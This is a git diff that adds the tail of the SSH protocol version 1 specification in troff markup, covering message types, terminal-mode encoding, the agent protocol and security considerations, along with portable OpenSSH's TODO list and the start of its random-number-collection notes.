user name +on the server to log in as. The server responds with SSH_SMSG_SUCCESS +if no authentication is needed for this user, or SSH_SMSG_FAILURE if +authentication is needed (or the user does not exist). [Note to the +implementator: the user name is of arbitrary size. The implementation +must be careful not to overflow internal buffers.] +.IP "5 SSH_CMSG_AUTH_RHOSTS" +.TS +; +l l. +string client-side user name +.TE +Requests authentication using /etc/hosts.equiv and .rhosts (or +equivalent mechanisms). This authentication method is normally +disabled in the server because it is not secure (but this is the +method used by rsh and rlogin). The server responds with +SSH_SMSG_SUCCESS if authentication was successful, and +SSH_SMSG_FAILURE if access was not granted. The server should check +that the client side port number is less than 1024 (a privileged +port), and immediately reject authentication if it is not. Supporting +this authentication method is optional. This method should normally +not be enabled in the server because it is not safe. (However, not +enabling this only helps if rlogind and rshd are disabled.) +.IP "6 SSH_CMSG_AUTH_RSA" +.TS +; +l l. +mp-int identity_public_modulus +.TE +Requests authentication using pure RSA authentication. The server +checks if the given key is permitted to log in, and if so, responds +with SSH_SMSG_AUTH_RSA_CHALLENGE. Otherwise, it responds with +SSH_SMSG_FAILURE. The client often tries several different keys in +sequence until one supported by the server is found. Authentication +is accepted if the client gives the correct response to the challenge. +The server is free to add other criteria for authentication, such as a +requirement that the connection must come from a certain host. Such +additions are not visible at the protocol level. Supporting this +authentication method is optional but recommended. +.IP "7 SSH_SMSG_AUTH_RSA_CHALLENGE" +.TS +; +l l. +mp-int encrypted challenge +.TE +Presents an RSA authentication challenge to the client. The challenge +is a 256-bit random value encrypted as described elsewhere in this +document. The client must decrypt the challenge using the RSA private +key, compute MD5 of the challenge plus session id, and send back the +resulting 16 bytes using SSH_CMSG_AUTH_RSA_RESPONSE. +.IP "8 SSH_CMSG_AUTH_RSA_RESPONSE" +.TS +; +l l. +16 bytes MD5 of decrypted challenge +.TE +This message is sent by the client in response to an RSA challenge. +The MD5 checksum is returned instead of the decrypted challenge to +deter known-plaintext attacks against the RSA key. The server +responds to this message with either SSH_SMSG_SUCCESS or +SSH_SMSG_FAILURE. +.IP "9 SSH_CMSG_AUTH_PASSWORD" +.TS +; +l l. +string plain text password +.TE +Requests password authentication using the given password. Note that +even though the password is plain text inside the packet, the whole +packet is normally encrypted by the packet layer. It would not be +possible for the client to perform password encryption/hashing, +because it cannot know which kind of encryption/hashing, if any, the +server uses. The server responds to this message with +SSH_SMSG_SUCCESS or SSH_SMSG_FAILURE. +.IP "10 SSH_CMSG_REQUEST_PTY" +.TS +; +l l. +string TERM environment variable value (e.g. vt100) +32-bit int terminal height, rows (e.g., 24) +32-bit int terminal width, columns (e.g., 80) +32-bit int terminal width, pixels (0 if no graphics) (e.g., 480) +32-bit int terminal height, pixels (0 if no graphics) (e.g., 640) +n bytes tty modes encoded in binary +.TE +Requests a pseudo-terminal to be allocated for this command. This +message can be used regardless of whether the session will later +execute the shell or a command. If a pty has been requested with this +message, the shell or command will run on a pty. Otherwise it will +communicate with the server using pipes, sockets or some other similar +mechanism. + +The terminal type gives the type of the user's terminal. In the UNIX +environment it is passed to the shell or command in the TERM +environment variable. + +The width and height values give the initial size of the user's +terminal or window. All values can be zero if not supported by the +operating system. The server will pass these values to the kernel if +supported. + +Terminal modes are encoded into a byte stream in a portable format. +The exact format is described later in this document. + +The server responds to the request with either SSH_SMSG_SUCCESS or +SSH_SMSG_FAILURE. If the server does not have the concept of pseudo +terminals, it should return success if it is possible to execute a +shell or a command so that it looks to the client as if it was running +on a pseudo terminal. +.IP "11 SSH_CMSG_WINDOW_SIZE" +.TS +; +l l. +32-bit int terminal height, rows +32-bit int terminal width, columns +32-bit int terminal width, pixels +32-bit int terminal height, pixels +.TE +This message can only be sent by the client during the interactive +session. This indicates that the size of the user's window has +changed, and provides the new size. The server will update the +kernel's notion of the window size, and a SIGWINCH signal or +equivalent will be sent to the shell or command (if supported by the +operating system). +.IP "12 SSH_CMSG_EXEC_SHELL" + +(no arguments) + +Starts a shell (command interpreter), and enters interactive session +mode. +.IP "13 SSH_CMSG_EXEC_CMD" +.TS +; +l l. +string command to execute +.TE +Starts executing the given command, and enters interactive session +mode. On UNIX, the command is run as " -c ", where + is the user's login shell. +.IP "14 SSH_SMSG_SUCCESS" + +(no arguments) + +This message is sent by the server in response to the session key, a +successful authentication request, and a successfully completed +preparatory operation. +.IP "15 SSH_SMSG_FAILURE" + +(no arguments) + +This message is sent by the server in response to a failed +authentication operation to indicate that the user has not yet been +successfully authenticated, and in response to a failed preparatory +operation. This is also sent in response to an authentication or +preparatory operation request that is not recognized or supported. +.IP "16 SSH_CMSG_STDIN_DATA" +.TS +; +l l. +string data +.TE +Delivers data from the client to be supplied as input to the shell or +program running on the server side. This message can only be used in +the interactive session mode. No acknowledgement is sent for this +message. +.IP "17 SSH_SMSG_STDOUT_DATA" +.TS +; +l l. +string data +.TE +Delivers data from the server that was read from the standard output of +the shell or program running on the server side. This message can +only be used in the interactive session mode. No acknowledgement is +sent for this message. +.IP "18 SSH_SMSG_STDERR_DATA" +.TS +; +l l. +string data +.TE +Delivers data from the server that was read from the standard error of +the shell or program running on the server side. This message can +only be used in the interactive session mode. No acknowledgement is +sent for this message. +.IP "19 SSH_CMSG_EOF" + +(no arguments) + +This message is sent by the client to indicate that EOF has been +reached on the input. Upon receiving this message, and after all +buffered input data has been sent to the shell or program, the server +will close the input file descriptor to the program. This message can +only be used in the interactive session mode. No acknowledgement is +sent for this message. +.IP "20 SSH_SMSG_EXITSTATUS" +.TS +; +l l. +32-bit int exit status of the command +.TE +Returns the exit status of the shell or program after it has exited. +The client should respond with SSH_CMSG_EXIT_CONFIRMATION when it has +received this message. This will be the last message sent by the +server. If the program being executed dies with a signal instead of +exiting normally, the server should terminate the session with +SSH_MSG_DISCONNECT (which can be used to pass a human-readable string +indicating that the program died due to a signal) instead of using +this message. +.IP "21 SSH_MSG_CHANNEL_OPEN_CONFIRMATION" +.TS +; +l l. +32-bit int remote_channel +32-bit int local_channel +.TE +This is sent in response to any channel open request if the channel +has been successfully opened. Remote_channel is the channel number +received in the initial open request; local_channel is the channel +number the side sending this message has allocated for the channel. +Data can be transmitted on the channel after this message. +.IP "22 SSH_MSG_CHANNEL_OPEN_FAILURE" +.TS +; +l l. +32-bit int remote_channel +.TE +This message indicates that an earlier channel open request by the +other side has failed or has been denied. Remote_channel is the +channel number given in the original request. +.IP "23 SSH_MSG_CHANNEL_DATA" +.TS +; +l l. +32-bit int remote_channel +string data +.TE +Data is transmitted in a channel in these messages. A channel is +bidirectional, and both sides can send these messages. There is no +acknowledgement for these messages. It is possible that either side +receives these messages after it has sent SSH_MSG_CHANNEL_CLOSE for +the channel. These messages cannot be received after the party has +sent or received SSH_MSG_CHANNEL_CLOSE_CONFIRMATION. +.IP "24 SSH_MSG_CHANNEL_CLOSE" +.TS +; +l l. +32-bit int remote_channel +.TE +When a channel is closed at one end of the connection, that side sends +this message. Upon receiving this message, the channel should be +closed. When this message is received, if the channel is already +closed (the receiving side has sent this message for the same channel +earlier), the channel is freed and no further action is taken; +otherwise the channel is freed and SSH_MSG_CHANNEL_CLOSE_CONFIRMATION +is sent in response. (It is possible that the channel is closed +simultaneously at both ends.) +.IP "25 SSH_MSG_CHANNEL_CLOSE_CONFIRMATION" +.TS +; +l l. +32-bit int remote_channel +.TE +This message is sent in response to SSH_MSG_CHANNEL_CLOSE unless the +channel was already closed. When this message is sent or received, +the channel is freed. +.IP "26 (OBSOLETED; was unix-domain X11 forwarding) +.IP "27 SSH_SMSG_X11_OPEN" +.TS +; +l l. +32-bit int local_channel +string originator_string (see below) +.TE +This message can be sent by the server during the interactive session +mode to indicate that a client has connected the fake X server. +Local_channel is the channel number that the server has allocated for +the connection. The client should try to open a connection to the +real X server, and respond with SSH_MSG_CHANNEL_OPEN_CONFIRMATION or +SSH_MSG_CHANNEL_OPEN_FAILURE. + +The field originator_string is present if both sides +specified SSH_PROTOFLAG_HOST_IN_FWD_OPEN in the protocol flags. It +contains a description of the host originating the connection. +.IP "28 SSH_CMSG_PORT_FORWARD_REQUEST" +.TS +; +l l. +32-bit int server_port +string host_to_connect +32-bit int port_to_connect +.TE +Sent by the client in the preparatory phase, this message requests +that server_port on the server machine be forwarded over the secure +channel to the client machine, and from there to the specified host +and port. The server should start listening on the port, and send +SSH_MSG_PORT_OPEN whenever a connection is made to it. Supporting +this message is optional, and the server is free to reject any forward +request. For example, it is highly recommended that unless the user +has been authenticated as root, forwarding any privileged port numbers +(below 1024) is denied. +.IP "29 SSH_MSG_PORT_OPEN" +.TS +; +l l. +32-bit int local_channel +string host_name +32-bit int port +string originator_string (see below) +.TE +Sent by either party in interactive session mode, this message +indicates that a connection has been opened to a forwarded TCP/IP +port. Local_channel is the channel number that the sending party has +allocated for the connection. Host_name is the host the connection +should be be forwarded to, and the port is the port on that host to +connect. The receiving party should open the connection, and respond +with SSH_MSG_CHANNEL_OPEN_CONFIRMATION or +SSH_MSG_CHANNEL_OPEN_FAILURE. It is recommended that the receiving +side check the host_name and port for validity to avoid compromising +local security by compromised remote side software. Particularly, it +is recommended that the client permit connections only to those ports +for which it has requested forwarding with SSH_CMSG_PORT_FORWARD_REQUEST. + +The field originator_string is present if both sides +specified SSH_PROTOFLAG_HOST_IN_FWD_OPEN in the protocol flags. It +contains a description of the host originating the connection. +.IP "30 SSH_CMSG_AGENT_REQUEST_FORWARDING" + +(no arguments) + +Requests that the connection to the authentication agent be forwarded +over the secure channel. The method used by clients to contact the +authentication agent within each machine is implementation and machine +dependent. If the server accepts this request, it should arrange that +any clients run from this session will actually contact the server +program when they try to contact the authentication agent. The server +should then send a SSH_SMSG_AGENT_OPEN to open a channel to the agent, +and the client should forward the connection to the real +authentication agent. Supporting this message is optional. +.IP "31 SSH_SMSG_AGENT_OPEN" +.TS +; +l l. +32-bit int local_channel +.TE +Sent by the server in interactive session mode, this message requests +opening a channel to the authentication agent. The client should open +a channel, and respond with either SSH_MSG_CHANNEL_OPEN_CONFIRMATION +or SSH_MSG_CHANNEL_OPEN_FAILURE. +.IP "32 SSH_MSG_IGNORE" +.TS +; +l l. +string data +.TE +Either party may send this message at any time. This message, and the +argument string, is silently ignored. This message might be used in +some implementations to make traffic analysis more difficult. This +message is not currently sent by the implementation, but all +implementations are required to recognize and ignore it. +.IP "33 SSH_CMSG_EXIT_CONFIRMATION" + +(no arguments) + +Sent by the client in response to SSH_SMSG_EXITSTATUS. This is the +last message sent by the client. +.IP "34 SSH_CMSG_X11_REQUEST_FORWARDING" +.TS +; +l l. +string x11_authentication_protocol +string x11_authentication_data +32-bit int screen number (if SSH_PROTOFLAG_SCREEN_NUMBER) +.TE +Sent by the client during the preparatory phase, this message requests +that the server create a fake X11 display and set the DISPLAY +environment variable accordingly. An internet-domain display is +preferable. The given authentication protocol and the associated data +should be recorded by the server so that it is used as authentication +on connections (e.g., in .Xauthority). The authentication protocol +must be one of the supported X11 authentication protocols, e.g., +"MIT-MAGIC-COOKIE-1". Authentication data must be a lowercase hex +string of even length. Its interpretation is protocol dependent. +The data is in a format that can be used with e.g. the xauth program. +Supporting this message is optional. + +The client is permitted (and recommended) to generate fake +authentication information and send fake information to the server. +This way, a corrupt server will not have access to the user's terminal +after the connection has terminated. The correct authorization codes +will also not be left hanging around in files on the server (many +users keep the same X session for months, thus protecting the +authorization data becomes important). + +X11 authentication spoofing works by initially sending fake (random) +authentication data to the server, and interpreting the first packet +sent by the X11 client after the connection has been opened. The +first packet contains the client's authentication. If the packet +contains the correct fake data, it is replaced by the client by the +correct authentication data, and then sent to the X server. +.IP "35 SSH_CMSG_AUTH_RHOSTS_RSA" +.TS +; +l l. +string clint-side user name +32-bit int client_host_key_bits +mp-int client_host_key_public_exponent +mp-int client_host_key_public_modulus +.TE +Requests authentication using /etc/hosts.equiv and .rhosts (or +equivalent) together with RSA host authentication. The server should +check that the client side port number is less than 1024 (a privileged +port), and immediately reject authentication if it is not. The server +responds with SSH_SMSG_FAILURE or SSH_SMSG_AUTH_RSA_CHALLENGE. The +client must respond to the challenge with the proper +SSH_CMSG_AUTH_RSA_RESPONSE. The server then responds with success if +access was granted, or failure if the client gave a wrong response. +Supporting this authentication method is optional but recommended in +most environments. +.IP "36 SSH_MSG_DEBUG" +.TS +; +l l. +string debugging message sent to the other side +.TE +This message may be sent by either party at any time. It is used to +send debugging messages that may be informative to the user in +solving various problems. For example, if authentication fails +because of some configuration error (e.g., incorrect permissions for +some file), it can be very helpful for the user to make the cause of +failure available. On the other hand, one should not make too much +information available for security reasons. It is recommended that +the client provides an option to display the debugging information +sent by the sender (the user probably does not want to see it by default). +The server can log debugging data sent by the client (if any). Either +party is free to ignore any received debugging data. Every +implementation must be able to receive this message, but no +implementation is required to send these. +.IP "37 SSH_CMSG_REQUEST_COMPRESSION" +.TS +; +l l. +32-bit int gzip compression level (1-9) +.TE +This message can be sent by the client in the preparatory operations +phase. The server responds with SSH_SMSG_FAILURE if it does not +support compression or does not want to compress; it responds with +SSH_SMSG_SUCCESS if it accepted the compression request. In the +latter case the response to this packet will still be uncompressed, +but all further packets in either direction will be compressed by gzip. +.RT + + +.ti 0 +Encoding of Terminal Modes + +Terminal modes (as passed in SSH_CMSG_REQUEST_PTY) are encoded into a +byte stream. It is intended that the coding be portable across +different environments. + +The tty mode description is a stream of bytes. The stream consists of +opcode-argument pairs. It is terminated by opcode TTY_OP_END (0). +Opcodes 1-127 have one-byte arguments. Opcodes 128-159 have 32-bit +integer arguments (stored msb first). Opcodes 160-255 are not yet +defined, and cause parsing to stop (they should only be used after any +other data). + +The client puts in the stream any modes it knows about, and the server +ignores any modes it does not know about. This allows some degree of +machine-independence, at least between systems that use a POSIX-like +[POSIX] tty interface. The protocol can support other systems as +well, but the client may need to fill reasonable values for a number +of parameters so the server pty gets set to a reasonable mode (the +server leaves all unspecified mode bits in their default values, and +only some combinations make sense). + +The following opcodes have been defined. The naming of opcodes mostly +follows the POSIX terminal mode flags. +.IP "0 TTY_OP_END" +Indicates end of options. +.IP "1 VINTR" +Interrupt character; 255 if none. Similarly for the other characters. +Not all of these characters are supported on all systems. +.IP "2 VQUIT" +The quit character (sends SIGQUIT signal on UNIX systems). +.IP "3 VERASE" +Erase the character to left of the cursor. +.IP "4 VKILL" +Kill the current input line. +.IP "5 VEOF " +End-of-file character (sends EOF from the terminal). +.IP "6 VEOL " +End-of-line character in addition to carriage return and/or linefeed. +.IP "7 VEOL2" +Additional end-of-line character. +.IP "8 VSTART" +Continues paused output (normally ^Q). +.IP "9 VSTOP" +Pauses output (^S). +.IP "10 VSUSP" +Suspends the current program. +.IP "11 VDSUSP" +Another suspend character. +.IP "12 VREPRINT" +Reprints the current input line. +.IP "13 VWERASE" +Erases a word left of cursor. +.IP "14 VLNEXT" +More special input characters; these are probably not supported on +most systems. +.IP "15 VFLUSH" +.IP "16 VSWTCH" +.IP "17 VSTATUS" +.IP "18 VDISCARD" + +.IP "30 IGNPAR" +The ignore parity flag. The next byte should be 0 if this flag is not +set, and 1 if it is set. +.IP "31 PARMRK" +More flags. The exact definitions can be found in the POSIX standard. +.IP "32 INPCK" +.IP "33 ISTRIP" +.IP "34 INLCR" +.IP "35 IGNCR" +.IP "36 ICRNL" +.IP "37 IUCLC" +.IP "38 IXON" +.IP "39 IXANY" +.IP "40 IXOFF" +.IP "41 IMAXBEL" + +.IP "50 ISIG" +.IP "51 ICANON" +.IP "52 XCASE" +.IP "53 ECHO" +.IP "54 ECHOE" +.IP "55 ECHOK" +.IP "56 ECHONL" +.IP "57 NOFLSH" +.IP "58 TOSTOP" +.IP "59 IEXTEN" +.IP "60 ECHOCTL" +.IP "61 ECHOKE" +.IP "62 PENDIN" + +.IP "70 OPOST" +.IP "71 OLCUC" +.IP "72 ONLCR" +.IP "73 OCRNL" +.IP "74 ONOCR" +.IP "75 ONLRET" + +.IP "90 CS7" +.IP "91 CS8" +.IP "92 PARENB" +.IP "93 PARODD" + +.IP "192 TTY_OP_ISPEED" +Specifies the input baud rate in bits per second. +.IP "193 TTY_OP_OSPEED" +Specifies the output baud rate in bits per second. +.RT + + +.ti 0 +The Authentication Agent Protocol + +The authentication agent is a program that can be used to hold RSA +authentication keys for the user (in future, it might hold data for +other authentication types as well). An authorized program can send +requests to the agent to generate a proper response to an RSA +challenge. How the connection is made to the agent (or its +representative) inside a host and how access control is done inside a +host is implementation-dependent; however, how it is forwarded and how +one interacts with it is specified in this protocol. The connection +to the agent is normally automatically forwarded over the secure +channel. + +A program that wishes to use the agent first opens a connection to its +local representative (typically, the agent itself or an SSH server). +It then writes a request to the connection, and waits for response. +It is recommended that at least five minutes of timeout are provided +waiting for the agent to respond to an authentication challenge (this +gives sufficient time for the user to cut-and-paste the challenge to a +separate machine, perform the computation there, and cut-and-paste the +result back if so desired). + +Messages sent to and by the agent are in the following format: +.TS +; +l l. +4 bytes Length, msb first. Does not include length itself. +1 byte Packet type. The value 255 is reserved for future extensions. +data Any data, depending on packet type. Encoding as in the ssh packet +protocol. +.TE + +The following message types are currently defined: +.IP "1 SSH_AGENTC_REQUEST_RSA_IDENTITIES" + +(no arguments) + +Requests the agent to send a list of all RSA keys for which it can +answer a challenge. +.IP "2 SSH_AGENT_RSA_IDENTITIES_ANSWER" +.TS +; +l l. +32-bit int howmany +howmany times: +32-bit int bits +mp-int public exponent +mp-int public modulus +string comment +.TE +The agent sends this message in response to the to +SSH_AGENTC_REQUEST_RSA_IDENTITIES. The answer lists all RSA keys for +which the agent can answer a challenge. The comment field is intended +to help identify each key; it may be printed by an application to +indicate which key is being used. If the agent is not holding any +keys, howmany will be zero. +.IP "3 SSH_AGENTC_RSA_CHALLENGE +.TS +; +l l. +32-bit int bits +mp-int public exponent +mp-int public modulus +mp-int challenge +16 bytes session_id +32-bit int response_type +.TE +Requests RSA decryption of random challenge to authenticate the other +side. The challenge will be decrypted with the RSA private key +corresponding to the given public key. + +The decrypted challenge must contain a zero in the highest (partial) +byte, 2 in the next byte, followed by non-zero random bytes, a zero +byte, and then the real challenge value in the lowermost bytes. The +real challenge must be 32 8-bit bytes (256 bits). + +Response_type indicates the format of the response to be returned. +Currently the only supported value is 1, which means to compute MD5 of +the real challenge plus session id, and return the resulting 16 bytes +in a SSH_AGENT_RSA_RESPONSE message. +.IP "4 SSH_AGENT_RSA_RESPONSE" +.TS +; +l l. +16 bytes MD5 of decrypted challenge +.TE +Answers an RSA authentication challenge. The response is 16 bytes: +the MD5 checksum of the 32-byte challenge. +.IP "5 SSH_AGENT_FAILURE" + +(no arguments) + +This message is sent whenever the agent fails to answer a request +properly. For example, if the agent cannot answer a challenge (e.g., +no longer has the proper key), it can respond with this. The agent +also responds with this message if it receives a message it does not +recognize. +.IP "6 SSH_AGENT_SUCCESS" + +(no arguments) + +This message is sent by the agent as a response to certain requests +that do not otherwise cause a message be sent. Currently, this is +only sent in response to SSH_AGENTC_ADD_RSA_IDENTITY and +SSH_AGENTC_REMOVE_RSA_IDENTITY. +.IP "7 SSH_AGENTC_ADD_RSA_IDENTITY" +.TS +; +l l. +32-bit int bits +mp-int public modulus +mp-int public exponent +mp-int private exponent +mp-int multiplicative inverse of p mod q +mp-int p +mp-int q +string comment +.TE +Registers an RSA key with the agent. After this request, the agent can +use this RSA key to answer requests. The agent responds with +SSH_AGENT_SUCCESS or SSH_AGENT_FAILURE. +.IP "8 SSH_AGENT_REMOVE_RSA_IDENTITY" +.TS +; +l l. +32-bit int bits +mp-int public exponent +mp-int public modulus +.TE +Removes an RSA key from the agent. The agent will no longer accept +challenges for this key and will not list it as a supported identity. +The agent responds with SSH_AGENT_SUCCESS or SSH_AGENT_FAILURE. +.RT + +If the agent receives a message that it does not understand, it +responds with SSH_AGENT_FAILURE. This permits compatible future +extensions. + +It is possible that several clients have a connection open to the +authentication agent simultaneously. Each client will use a separate +connection (thus, any SSH connection can have multiple agent +connections active simultaneously). + + +.ti 0 +References + +.IP "[DES] " +FIPS PUB 46-1: Data Encryption Standard. National Bureau of +Standards, January 1988. FIPS PUB 81: DES Modes of Operation. +National Bureau of Standards, December 1980. Bruce Schneier: Applied +Cryptography. John Wiley & Sons, 1994. J. Seberry and J. Pieprzyk: +Cryptography: An Introduction to Computer Security. Prentice-Hall, +1989. +.IP "[GZIP] " +The GNU GZIP program; available for anonymous ftp at prep.ai.mit.edu. +Please let me know if you know a paper describing the algorithm. +.IP "[IDEA] " +Xuejia Lai: On the Design and Security of Block Ciphers, ETH Series in +Information Processing, vol. 1, Hartung-Gorre Verlag, Konstanz, +Switzerland, 1992. Bruce Schneier: Applied Cryptography, John Wiley & +Sons, 1994. See also the following patents: PCT/CH91/00117, EP 0 482 +154 B1, US Pat. 5,214,703. +.IP [PKCS#1] +PKCS #1: RSA Encryption Standard. Version 1.5, RSA Laboratories, +November 1993. Available for anonymous ftp at ftp.rsa.com. +.IP [POSIX] +Portable Operating System Interface (POSIX) - Part 1: Application +Program Interface (API) [C language], ISO/IEC 9945-1, IEEE Std 1003.1, +1990. +.IP [RFC0791] +J. Postel: Internet Protocol, RFC 791, USC/ISI, September 1981. +.IP [RFC0793] +J. Postel: Transmission Control Protocol, RFC 793, USC/ISI, September +1981. +.IP [RFC1034] +P. Mockapetris: Domain Names - Concepts and Facilities, RFC 1034, +USC/ISI, November 1987. +.IP [RFC1282] +B. Kantor: BSD Rlogin, RFC 1258, UCSD, December 1991. +.IP "[RSA] " +Bruce Schneier: Applied Cryptography. John Wiley & Sons, 1994. See +also R. Rivest, A. Shamir, and L. M. Adleman: Cryptographic +Communications System and Method. US Patent 4,405,829, 1983. +.IP "[X11] " +R. Scheifler: X Window System Protocol, X Consortium Standard, Version +11, Release 6. Massachusetts Institute of Technology, Laboratory of +Computer Science, 1994. +.RT + + +.ti 0 +Security Considerations + +This protocol deals with the very issue of user authentication and +security. + +First of all, as an implementation issue, the server program will have +to run as root (or equivalent) on the server machine. This is because +the server program will need be able to change to an arbitrary user +id. The server must also be able to create a privileged TCP/IP port. + +The client program will need to run as root if any variant of .rhosts +authentication is to be used. This is because the client program will +need to create a privileged port. The client host key is also usually +stored in a file which is readable by root only. The client needs the +host key in .rhosts authentication only. Root privileges can be +dropped as soon as the privileged port has been created and the host +key has been read. + +The SSH protocol offers major security advantages over existing telnet +and rlogin protocols. +.IP o +IP spoofing is restricted to closing a connection (by encryption, host +keys, and the special random cookie). If encryption is not used, IP +spoofing is possible for those who can hear packets going out from the +server. +.IP o +DNS spoofing is made ineffective (by host keys). +.IP o +Routing spoofing is made ineffective (by host keys). +.IP o +All data is encrypted with strong algorithms to make eavesdropping as +difficult as possible. This includes encrypting any authentication +information such as passwords. The information for decrypting session +keys is destroyed every hour. +.IP o +Strong authentication methods: .rhosts combined with RSA host +authentication, and pure RSA authentication. +.IP o +X11 connections and arbitrary TCP/IP ports can be forwarded securely. +.IP o +Man-in-the-middle attacks are deterred by using the server host key to +encrypt the session key. +.IP o +Trojan horses to catch a password by routing manipulation are deterred +by checking that the host key of the server machine matches that +stored on the client host. +.RT + +The security of SSH against man-in-the-middle attacks and the security +of the new form of .rhosts authentication, as well as server host +validation, depends on the integrity of the host key and the files +containing known host keys. + +The host key is normally stored in a root-readable file. If the host +key is compromised, it permits attackers to use IP, DNS and routing +spoofing as with current rlogin and rsh. It should never be any worse +than the current situation. + +The files containing known host keys are not sensitive. However, if an +attacker gets to modify the known host key files, it has the same +consequences as a compromised host key, because the attacker can then +change the recorded host key. + +The security improvements obtained by this protocol for X11 are of +particular significance. Previously, there has been no way to protect +data communicated between an X server and a client running on a remote +machine. By creating a fake display on the server, and forwarding all +X11 requests over the secure channel, SSH can be used to run any X11 +applications securely without any cooperation with the vendors of the +X server or the application. + +Finally, the security of this program relies on the strength of the +underlying cryptographic algorithms. The RSA algorithm is used for +authentication key exchange. It is widely believed to be secure. Of +the algorithms used to encrypt the session, DES has a rather small key +these days, probably permitting governments and organized criminals to +break it in very short time with specialized hardware. 3DES is +probably safe (but slower). IDEA is widely believed to be secure. +People have varying degrees of confidence in the other algorithms. +This program is not secure if used with no encryption at all. + + +.ti 0 +Additional Information + +Additional information (especially on the implementation and mailing +lists) is available via WWW at http://www.cs.hut.fi/ssh. + +Comments should be sent to Tatu Ylonen or the SSH +Mailing List . + +.ti 0 +Author's Address + +.TS +; +l. +Tatu Ylonen +Helsinki University of Technology +Otakaari 1 +FIN-02150 Espoo, Finland + +Phone: +358-0-451-3374 +Fax: +358-0-451-3293 +EMail: ylo@cs.hut.fi +.TE diff --git a/other/ssharp/TODO b/other/ssharp/TODO new file mode 100644 index 0000000..bf336c5 --- /dev/null +++ b/other/ssharp/TODO @@ -0,0 +1,91 @@ +Programming: +- Grep for 'XXX' comments and fix + +- Link order is incorrect for some systems using Kerberos 4 and AFS. Result + is multiple inclusion of DES symbols. Holger Trapp + reports that changing the configure + generated link order from: + -lresolv -lkrb -lz -lnsl -lutil -lkafs -lkrb -ldes -lcrypto + to: + -lresolv -lkrb -lz -lnsl -lutil -lcrypto -lkafs -lkrb -ldes + fixing the problem. + +- Integrate contrib/mdoc2man.pl so platforms which only have the troff + 'an' macros can have readable manpages. + +- Write a test program that calls stat() to search for EGD/PRNGd socket + rather than use the (non-portable) "test -S". + +- Replacement for setproctitle() - HP-UX support only currently + +- Handle changing passwords for the non-PAM expired password case + +- Improve PAM support (a pam_lastlog module will cause sshd to exit) + and maybe support alternate forms of authenications like OPIE via + pam? + +- Rework PAM ChallengeResponseAuthentication + - Use kbdint request packet with 0 prompts for informational messages + - Use different PAM service name for kbdint vs regular auth (suggest from + Solar Designer) + - Ability to select which ChallengeResponseAuthentications may be used + and order to try them in e.g. "ChallengeResponseAuthentication skey, pam" + +- Complete Tru64 SIA support + +- Finish integrating kernel-level auditing code for IRIX and SOLARIS + (Gilbert.r.loomis@saic.com) + +- sftp-server: Rework to step down to 32bit ints if the platform + lacks 'long long' == 64bit (Notable SCO w/ SCO compiler) + +- Linux hangs for 20 seconds when you do "sleep 20&exit". All current + solutions break scp or leaves processes hanging around after the ssh + connection has ended. It seems to be linked to two things. One + select() under Linux is not as nice as others, and two the children + of the shell are not killed on exiting the shell. Redhat have an excellent + description of this in their RPM package. + +- Build an automated test suite + +- Verify that It's safe to enable NGROUPS_MAX under NeXTStep for + groupaccess features. (mouring@eviladmin.org) + +- 64-bit builds on HP-UX 11.X (stevesk@pobox.com): + - utmp/wtmp get corrupted (something in loginrec?) + - no 64-bit vhangup(); ptmx systems shouldn't need this + - can't build with PAM (no 64-bit libpam yet) + +Documentation: +- More and better + +- Install FAQ? + +- General FAQ on S/Key, TIS, RSA, RSA2, DSA, etc and suggestions on when it + would be best to use them. + +- Create a Documentation/ directory? + +Clean up configure/makefiles: +- Clean up configure.in - There are a few double #defined variables + left to do. HAVE_LOGIN is one of them. Consider NOT looking for + information in wtmpx or utmpx or any of that stuff if it's not detected + from the start + +- Fails to compile when cross compile. + (vinschen@redhat.com) + +- Replace the whole u_intXX_t evilness in acconfig.h with something better??? + +- Consider splitting the u_intXX_t test for sys/bitype.h into seperate test + to allow people to (right/wrongfully) link against Bind directly. + +Packaging: +- Solaris: Update packaging scripts and build new sysv startup scripts + Ideally the package metadata should be generated by autoconf. + (gilbert.r.loomis@saic.com) + +- HP-UX: Provide DEPOT package scripts. + (gilbert.r.loomis@saic.com) + +$Id: TODO,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ diff --git a/other/ssharp/TODO.ssharp b/other/ssharp/TODO.ssharp new file mode 100644 index 0000000..7c3f89f --- /dev/null +++ b/other/ssharp/TODO.ssharp @@ -0,0 +1,2 @@ ++ RSA auth + diff --git a/other/ssharp/WARNING.RNG b/other/ssharp/WARNING.RNG new file mode 100644 index 0000000..617318f --- /dev/null +++ b/other/ssharp/WARNING.RNG @@ -0,0 +1,83 @@ +This document contains a description of portable OpenSSH's random +number collection code. An alternate reading of this text could +well be titled "Why I should pressure my system vendor to supply +/dev/random in their OS". + +Why is this important? OpenSSH depends on good, unpredictable numbers +for generating keys, performing digital signatures and forming +cryptographic challenges. If the random numbers that it uses are +predictable, then the strength of the whole system is compromised. + +A particularly pernicious problem arises with DSA keys (used by the +ssh2 protocol). Performing a DSA signature (which is required for +authentication), entails the use of a 160 bit random number. If an +attacker can predict this number, then they can deduce your *private* +key and impersonate you or your hosts. + +If you are using the builtin random number support (configure will +tell you if this is the case), then read this document in its entirety. +Alternately, you can use Lutz Jaenicke's PRNGd - a small daemon which +collects random numbers and makes them available by a socket. + +Please also request that your OS vendor provides a kernel-based random +number collector (/dev/random) in future versions of your operating +systems by default. + +On to the description... + +The portable OpenSSH contains random number collection support for +systems which lack a kernel entropy pool (/dev/random). + +This collector operates by executing the programs listed in +($etcdir)/ssh_prng_cmds, reading their output and adding it to the +PRNG supplied by OpenSSL (which is hash-based). It also stirs in the +output of several system calls and timings from the execution of the +programs that it runs. + +The ssh_prng_cmds file also specifies a 'rate' for each program. This +represents the number of bits of randomness per byte of output from +the specified program. + +The random number code will also read and save a seed file to +~/.ssh/prng_seed. This contents of this file are added to the random +number generator at startup. The goal here is to maintain as much +randomness between sessions as possible. + +The entropy collection code has two main problems: + +1. It is slow. + +Executing each program in the list can take a large amount of time, +especially on slower machines. Additionally some program can take a +disproportionate time to execute. + +This can be tuned by the administrator. To debug the entropy +collection is great detail, turn on full debugging ("ssh -v -v -v" or +"sshd -d -d -d"). This will list each program as it is executed, how +long it took to execute, its exit status and whether and how much data +it generated. You can the find the culprit programs which are causing +the real slow-downs. + +The entropy collector will timeout programs which take too long +to execute, the actual timeout used can be adjusted with the +--with-entropy-timeout configure option. OpenSSH will not try to +re-execute programs which have not been found, have had a non-zero +exit status or have timed out more than a couple of times. + +2. Estimating the real 'rate' of program outputs is non-trivial + +The shear volume of the task is problematic: there are currently +around 50 commands in the ssh_prng_cmds list, portable OpenSSH 